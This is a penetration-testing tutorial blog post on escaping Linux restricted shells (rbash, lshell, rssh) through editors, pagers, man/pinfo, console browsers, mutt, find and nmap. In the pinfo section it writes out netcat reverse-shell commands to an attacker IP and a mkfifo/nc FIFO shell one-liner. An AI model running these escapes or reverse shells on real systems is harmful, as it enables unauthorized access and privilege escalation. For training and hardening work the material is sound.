The focus of this article is on discussing and summarizing different techniques to escape common Linux restricted shells and also simple recommendations for administrators to protect against it. This article is not focused on hardening shells, however, some hints will be given to the reader as proof of concept. Additionally, this article is focused on Linux shells only, not windows.
It’s also important to note that not all techniques presented here will work in every restricted shell, so it is up to the user to find which techniques will suit them depending on the environment found. This is not intended to be a definite guide for escaping shell techniques, but a basic introduction to the subject.
Restricted shells are no strange to Penetration testers or Linux administrators, but for some reason, its importance is still neglected by many security and IT professionals in general.
Restricted shells are conceptually shells with restricted permissions, with features and commands working under a very peculiar environment, built to keep users in a secure and controlled environment, allowing them just the minimum necessary to perform their daily operations.
Linux administrators generally need to provide a local or remote shell to other users, or administrators, for daily routine management and support procedures, that’s why it is extremely important to restrict these shell’s features to a minimum necessary for this activities, but sometimes it’s just not enough to keep it away from hackers, as you will soon see.
Penetration testers are a very cunning and determined kind of people that will only find peace after hacking into your servers. Once they get a low privileged shell, even a restricted one, it’s time to try to escape normal restrictions and get more features and privileges to play with.
This is where restricted shell escaping techniques come into play. Escaping shell restrictions is just a small part of Penetration Testing Post Exploitation phase, designed to escalate privileges. Keep in mind that bypassing shell restrictions to escalate privileges doesn’t necessarily mean getting write or execution permissions, generally used to get a less restricted shell or root access (which would be desirable), but sometimes it is all about read permissions, allowing us to check files and inspect file system areas that we were not allowed before, to steal sensitive information that wouldn’t be available otherwise. This “read-only” access, always so underestimated, can give us very precious information, such as user and service enumeration, even some credentials, for further attacks and consequently owning the box itself.
There are hundreds, not to say thousands of different techniques available, the extension will only depend on three factors:
Common Restricted Shells
There is a lot of different restricted shells to choose from. Some of them are just normal shells with some simple common restrictions not actually configurable, such as
rbash (restricted Bash), rzsh and rksh (Korn Shell in restricted mode), which are really trivial to bypass. Others have complete configuration settings that can be redesigned to fit administrator’s needs such as lshell (Limited Shell) and rssh (Restricted Secure Shell).
Configurable shells are much more difficult to bypass once its configuration can be tightened by administrators. Bypassing techniques on these shells generally, rely on the fact that admins are somewhat forced to provide certain insecure commands for normal users to work with. When allowed without proper security configurations, they provide attackers with tools to escalate privileges, sometimes to root users.
Another reason for this is that sometimes admins are just Linux system admins, not really security professionals, therefore they don’t really know the ways of the force, and end up allowing too many dangerous commands, from a Penetration Tester’s point of view.
Gathering Environment Information
Once we have access to a restricted shell, before we can go any further on all techniques, the first step is to gather as much information as possible about our current shell environment. The information gathered will give us an idea of what kind of restricted shell we are in and also the features provided and the techniques we can use, which are totally dependent on the environment found. Among some tests we can perform:
- Check available commands either by trying them out by hand, hitting TAB key twice or listing files and directories;
- Check for commands configured with SUID permissions, especially if they are owned by the root user. If these commands have escapes, they can be run with root permissions and will be our way out, or in. Oh, you got the point!.
- Check the list of commands you can use with sudo. This will let us execute commands with other user’s permissions by using our own password. This is especially good when configured for commands with escape features.
- Check what languages are at your disposal, such as
ruby, etc. They will come in handy later on;
- Check if redirect operators are available, such as
'|' (pipe), “>”, “>>”, “<”;
- Check for escape characters and execution tags such as:
“$(“(shell execution tag),
OBS: The easiest way to check for redirect operators, escape characters and execution tags is to use them in commands as arguments or part of arguments, and later analyze the output for errors.
- If some available command is unknown to you, install them in your own test Linux box and analyze its features, manual, etc. Sometimes downloading and inspecting the code itself is a life changer for hidden functions that may not appear in the manual.
- Try to determine what kind of shell you are in. This is not easy depending on the configuration in place but can be performed by issuing some commands and checking for general error messages. Here are some error message examples from different restricted shells around:
Some restricted shells show their names in the error messages, some do not. A full reference list can be extracted from the specific restricted shell manual or configuration file in use. Keep them always in hand or memorize the most common errors. This information will be very important in identifying different types of shells in the future.
Common Initial Techniques
Let’s begin with the basics. There are some really easy techniques we can use to escape restricted shells to execute commands or access system areas we were not supposed to. Most of these techniques rely on simple command escape characters, redirect operators or even Linux system shell variable pollution. Let’s analyze some of these:
Linux systems provide us with different editors such as
vim, etc. Some of these shells provide third party command execution and file browsing features. Editors like
“vim” provide us with one of the most well-known techniques to bypass shell restrictions. Vim has a feature which allows us to run scripts and commands inside it. If
vim is available, open it and issue the following command:
:!/bin/ls -l .b*
Vim will get you out of the editor and show the result of the
“ls -l .b*” command executed, showing all
/etc files with names beginning in a letter “b”.
We can use the same technique to execute any other command or even another available shell like bash, to avoid our present restrictions, by issuing
:set shell=/bin/sh :shell
As you can see below we’ve managed to execute
/bin/sh shell inside
vim, now we can execute commands in
sh we weren’t allowed to in
rbash restricted shell.
Another good example is
ed. It is an old default Unix console editor. Generally ed is provided to users because it is very simple with not many features that could compromise the system, but still, it also has third party command execution features inside, very similar to vim.
ed we can escape the normal shell by executing another one with
!’/bin/sh’, as can be seen below:
We managed to get out of
lshell and execute commands we were not allowed before.
Another example of an editor is ne, which was designed to be a minimal and modern replacement for vi. As you can see inside lshall we have no permission to go back to
“/” or any other directory above ours.
ne editor has a very interesting feature that allows us to save or load configuration preferences. We can abuse this feature to read contents in the file system. With ed opened hit ESC once to reach the main configuration menu. Go to the last menu available,
“Prefs” to the option
Once clicked it will show us the contents of the file system where we can choose our preferences file from. Notice that we now can escalate directories in the file system, even reaching
“/” or any other directory, obtaining a read primitive:
We can even open
/etc directory files like
/etc/passwd to enumerate users:
Linux pagers are simple utilities that allow us to see the output of a particular command or text file, that is too big to fit the screen, in a paged way. The most well known are
“less”. Pagers also have escape features to execute scripts.
Open a file long enough to fit in more than one screen with any of the pagers above and simply type
!’sh’ inside it, as shown below:
As you can see our example using
“less” we’ve managed to open a shell inside our pager and execute restricted commands:.
This technique works on both more and less pagers.
3.man and pinfo Commands
“man”, used to display manual pages for Linux commands, also has escape features. Simply use the man command to display any command manual, like this:
$ man ls
When the manual for the command ls appears, use the same technique we used for the pagers.
The reason for this to work is due to the fact that
“more” as default pagers. Other pagers can be used instead to avoid escapes like this.
pinfo is another example of an info command that has escape features. It works just like man command.
lshell this time for a more realistic example. As you can see in the next picture,
lshell allows just a few commands by default. The
pinfo command was added to the allowed command list just for this example. Notice that we’ve tried to issue some commands like
“ls /etc” directly in the shell but they were all blocked,
lshell restricted their use:
ls manual with
pinfo with the following command:
[email protected]:~$ pinfo ls
ls manual page opens, inside
pinfo hit “!” (exclamation mark). Notice that this opened a command execution feature, now let’s execute some simple commands, such as the previous
“ls /etc” that we were not allowed by
lshell before, and see what we can get:
Notice that we successfully bypassed
lshell restrictions executing a restricted command.
Let’s try again but now using a command that is not in the allowed command list, like
Notice that we managed to run a command that is not allowed by
Now we have everything we need for a real remote shell. Now in our attacker machine (which is configured with IP 192.168.0.21), let’s create a listening socket using port 5000 with the following command:
$ nc -lvp 5000 Listening on [0.0.0.0] (family 0, port 5000)
pinfo again in our victim machine but this time we are going to issue the command
“nc 192.168.0.21 5000 -e /bin/bash” and press ENTER. This command will try to start a connection from the victim to our attacker machine on port 5000 and throw it’s own
/bin/bash shell to it, this technique is known as “Reverse Shell”. Remember that this shell is not available in
lshell by default but we managed to have access to it bypassing its restrictions:
After hitting ENTER our
pinfo screen went black, which means the command was probably executed without errors.
Let’s have a look at our attackers client on port 5000:
We can see a connection coming from our victim. Let’s issue some commands on the attacker side and see what we can get:
As you can see, we successfully bypassed
lshell command list restriction executing a connection to our attacker machine and sending to it the victim’s
/bin/bash shell that we were not allowed to execute before.
Just as a hint,
nc is what we call a “Network Swiss Army Knife” and is installed by default in many different Linux distributions. It is not unusual for administrators with some security knowledge to uninstall it or enforce restrictions so it can’t be used by general users besides root. Another drawback of
nc is that the BSD version, if in use, has no -e/-c flags, so we would never be able to inject a shell using it.
Another way to get a reverse shell with
nc is by adding some creativity and knowledge of Linux operating systems internals with other tools and pipes already provided by Linux systems out of the box.
On the victim’s machine we will execute the following command:
$ rm -f /tmp/f; mkfifo /tmp/f ; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 192.168.0.21 5000 > /tmp/f”
Analyzing this command in parts (separated by semicolons), the first
“rm -f /tmp/f” is used to force delete the
“/tmp/f” if it exists. The second command
“mkfifo /tmp/f” is creating the same file as a FIFO file. Fifo (First-In-First-Out) is a special type of file, similar to a pipe, it can be opened by multiple processes for reading and writing. We are going to use this file as a pipe to exchange data between our interactive shell and nc.
The third command
“cat /tmp/f | /bin/sh -i 2>&1 | nc -l 192.168.0.21 5000 > /tmp/f” does a lot of things. First, it opens the FIFO file we created then pipe it’s contents to a shell with an interactive mode on (/bin/sh -i), also redirecting any error output to the standard output (2>&1). Right after that, it’s piping all the results, as a reverse shell, to victim nc listening on victim’s IP. Now the attacker’s machine doesn’t need to listen to an incoming shell because we made the victim listen for a shell instead. Now from the attacker machine, we try to connect to the victim on port 5000, and we get our shell.
This kind of FIFO shell is very tricky, very verbose, error-prone and a little bit harder to run from injected shellcode, but it’s yet another option. Remember that this kind of reverse shell technique will only work if the restricted shell allows redirect and escape characters.
You might be familiar with some Linux console browsers around, such as
“elinks”. Browsers are a very good option for escaping to other commands and shells.
Let’s begin with a very dumb example. Let’s take
“links” for instance. After opening any website with a text box, “google.com” for example, hit ESC once, that will lead you to the configuration menu. Hit FILE > OS Shell. There you have it! An easy shell.
Another very good example of console browsers is
lynx has a very good feature that lets us edit website content, such as text box, using third party editors configured by the user.
lynx and loading any website containing a text box, “google.com” for example, by hitting “o”,
lynx will lead us to the options page where we can configure an alternative editor:
For this example we have configured
“/usr/bin/vim”. Hitting “Accept Changes”,
lynx will take us back to Google page. Now we move our cursor to the search text box and hit “e” to edit the content with an external editor we configured.
lynx will take us to
vim, from where we can use the same command execution techniques already discussed to get another command or even another shell running.
The same editor configuration can be achieved in
lynx passing the editor’s absolute path as an argument with the following command:
[email protected]:~$ lynx --editor=/usr/bin/vim www.google.com
We still have another console browser to cover,
elinks. We can also instruct
elinks console browser to use an external editor by simply setting $EDITOR variable to reflect the absolute path of some editor, for example:
[email protected]:~$ export EDITOR=/usr/bin/vim
Now load any website containing a text box, such as Google Translate, Once the page opens move your cursor to the text box field, now press ENTER and then F4 keys.
elinks will lead you to
vim. Now it is just a matter of reusing
vim escape techniques presented before.
It’s important to remember that pagers can also be used as editors in console browsers, so you can easily link from one technique to the other if necessary. Try it!
mutt is a Linux console e-mail reader, and it also has escape features. Simply open
mutt and click “!”. This will open command execution in mutt. Let’s try to open a shell inside it:
There we have it.
find is a very well known command used to find files in Linux file systems. It has many features, among them an
“-exec” one that let us execute a shell command. Let’s analyze a very simple example where we use find to look for a non-existent file and execute a forbidden command:
Notice that we managed to cd to
/root directory and also list its files. Find is a very interesting command but the -exec can only execute commands that are available to the user. Our example will work in
rksh shell due to the very simple restrictions they have, but it won’t be true for more advanced and configurable shells such as
nmap is probably the most well-known port scanner around, and it is used by many security and network professionals around the globe. It is very strange and unusual to find Nmap allowed in a restricted shell, nonetheless, nmap has a very interesting option called
“--interactive” option was used in
nmap versions before May/2009 to open an interactive console where additional commands could be run. This function was deactivated in Nmap release r17131.
When scanning old Linux server networks, it is still common to find an old piece of software installed. If you ever encounter an old
nmap older than the release above, interactivity can still be used. The function can be triggered simply by using
“--interactive” as argument. When the interactive console appears, simply issue the command
“!sh” to open a shell or any other command you want.
[email protected]:~$ nmap --interactive nmap> !sh $
if --ineractive is not working then try TF=$(mktemp) echo 'os.execute("/bin/sh")' > $TF nmap --script=$TF
That’s all about this blog in the next blog we will learn more about restricted shells.
Thanks for visiting this blog. Join Certcube Labs for IT security Training & Certifications.